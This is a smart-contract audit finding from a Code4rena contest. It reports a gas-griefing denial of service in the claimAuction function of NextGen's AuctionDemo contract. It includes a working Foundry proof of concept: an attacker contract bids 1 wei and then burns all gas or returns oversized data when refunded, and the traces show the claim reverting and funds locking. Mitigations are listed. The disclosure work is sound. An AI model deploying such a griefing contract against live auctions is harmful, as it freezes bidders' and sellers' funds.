Gas griefing / Bombing in claimAuction

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104-L120

Vulnerability details

Impact

After the auction ends :

• Auction winner is not able to claim his NFT.
• Admin is not able to get the highest bid value.
• Other active bidders are not able to get the value of their bids back.
• Funds for the auction are locked forever as there is no emergency withdrawal mechanic.

Proof of Concept

This can be executed in a similar manner by both the winner (via onERC721Received) or a bidder (via receive / fallback) but I will only focus on the latter in the tests.

The attacker can create one or multiple low value bids from a contract that either consumes all forwarded gas or returns/reverts with an oversized data (to make the caller consume gas storing it in memory) when its fallback is triggered.

Test Setup

Init

forge init --no-git --force

foundry.toml config

[profile.default]
src = "smart-contracts"
out = "out"
libs = ["lib"]

Test

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "../smart-contracts/MinterContract.sol";
import "../smart-contracts/NextGenAdmins.sol";
import "../smart-contracts/NextGenCore.sol";
import "../smart-contracts/NFTdelegation.sol";
import "../smart-contracts/RandomizerNXT.sol";
import "../smart-contracts/XRandoms.sol";
import "../smart-contracts/IERC721Receiver.sol";
import "../smart-contracts/AuctionDemo.sol";

contract AuctionDoSer {
    function participate(address target, uint256 tokenId) external payable {
        target.call{value: msg.value}(
            abi.encodeCall(auctionDemo.participateToAuction, (tokenId))
        );
    }

    receive() external payable {
        while (true) {}
    }
    
    // Alternatively, return as much data as possible without running out of gas
    // receive() external payable {
    //     uint256 rsize = sqrt((gasleft() / 2) * 512);
    //     assembly {
    //         return(0x0, mul(rsize, 0x20))
    //     }
    // }

    // function sqrt(uint x) private returns (uint y) {
    //     uint z = (x + 1) / 2;
    //     y = x;
    //     while (z < y) {
    //         y = z;
    //         z = (x / z + z) / 2;
    //     }
    // }
}

contract AuctionDemoTest is Test {
    NextGenMinterContract public minterContract;
    NextGenAdmins public adminsContract;
    NextGenCore public coreContract;

    DelegationManagementContract public nftDelegationContract;
    NextGenRandomizerNXT public randomizerContract;
    randomPool public randomsContract;

    auctionDemo public auctionContract;

    function setUp() public {
        vm.warp(365 days);
        randomsContract = new randomPool();
        nftDelegationContract = new DelegationManagementContract();
        adminsContract = new NextGenAdmins();
        coreContract = new NextGenCore("Test", "TEST", address(adminsContract));
        minterContract = new NextGenMinterContract(
            address(coreContract),
            address(nftDelegationContract),
            address(adminsContract)
        );
        randomizerContract = new NextGenRandomizerNXT(
            address(randomsContract),
            address(adminsContract),
            address(coreContract)
        );
        coreContract.addMinterContract(address(minterContract));
        auctionContract = new auctionDemo(
            address(minterContract),
            address(coreContract),
            address(adminsContract)
        );

        string[] memory scripts;

        coreContract.createCollection(
            "Collection",
            "Artist",
            "Description",
            "Website",
            "License",
            "Base URI",
            "Library",
            scripts
        );

        coreContract.setCollectionData(1, vm.addr(1), 1, 999, 0);

        coreContract.addRandomizer(1, address(randomizerContract));

        minterContract.setCollectionCosts(
            1,
            0,
            0,
            0,
            1 hours,
            0,
            address(nftDelegationContract)
        );

        minterContract.setCollectionPhases(
            1,
            block.timestamp - 1 days,
            block.timestamp - 1,
            block.timestamp - 1,
            block.timestamp + 1 days,
            bytes32(0)
        );
    }

    function testAuctionDoS() public {
        AuctionDoSer auctionDoSer = new AuctionDoSer();

        minterContract.mintAndAuction(
            vm.addr(2),
            "",
            0,
            1,
            block.timestamp + 1 days
        );

        vm.prank(vm.addr(2));
        coreContract.setApprovalForAll(address(auctionContract), true);

        vm.deal(vm.addr(4), 1 ether);
        vm.prank(vm.addr(4));
        auctionDoSer.participate{value: 1 wei}(
            address(auctionContract),
            10000000000
        );

        vm.deal(vm.addr(3), 1 ether);
        vm.prank(vm.addr(3));
        auctionContract.participateToAuction{value: 1 ether}(10000000000);

        skip(1 days);

        vm.prank(vm.addr(3));
        auctionContract.claimAuction{gas: 1500000}(10000000000);
    }

    fallback() external payable {}
    receive() external payable {}
}

Traces

    ├─ [1499758] auctionDemo::claimAuction(10000000000 [1e10]) 
    │   ├─ [506] NextGenMinterContract::getAuctionEndTime(10000000000 [1e10]) [staticcall]
    │   │   └─ ← 31622400 [3.162e7]
    │   ├─ [517] NextGenMinterContract::getAuctionStatus(10000000000 [1e10]) [staticcall]
    │   │   └─ ← true
    │   ├─ [625] NextGenCore::ownerOf(10000000000 [1e10]) [staticcall]
    │   │   └─ ← 0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF
    │   ├─ [1430339] AuctionDoSer::receive{value: 1}() 
    │   │   └─ ← "EvmError: OutOfGas"
    │   ├─ emit Refund(_add: AuctionDoSer: [0xA4AD4f68d0b91CFD19687c881e50f3A00242828c], tokenid: 10000000000 [1e10], status: false, funds: 1000000000000000000 [1e18])
    │   ├─ [4268] NextGenCore::safeTransferFrom(0x2B5AD5c4795c026514f8317c7a215E218DcCD6cF, 0x6813Eb9362372EEF6200f3b1dbC3f819671cBA69, 10000000000 [1e10]) 
    │   │   └─ ← "EvmError: OutOfGas"
    │   └─ ← "EvmError: Revert"
    └─ ← "EvmError: Revert"

Tools Used

Manual Review

Recommended Mitigation Steps

• Use transferFrom instead of safeTransferFrom to send the NFT to the winner
• Use an assembly call for ETH transfers to avoid copying huge return data into memory and only forward enough gas for the operation to complete.

References

• External calls should not generate RETURNDATACOPY if the return data is not used ethereum/solidity#12306
• https://github.com/nomad-xyz/ExcessivelySafeCall

Assessed type

DoS

[c4-pre-sort]

141345 marked the issue as primary issue

[c4-pre-sort]

141345 marked the issue as duplicate of #486

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1782

[c4-judge]

alex-ppg marked the issue as satisfactory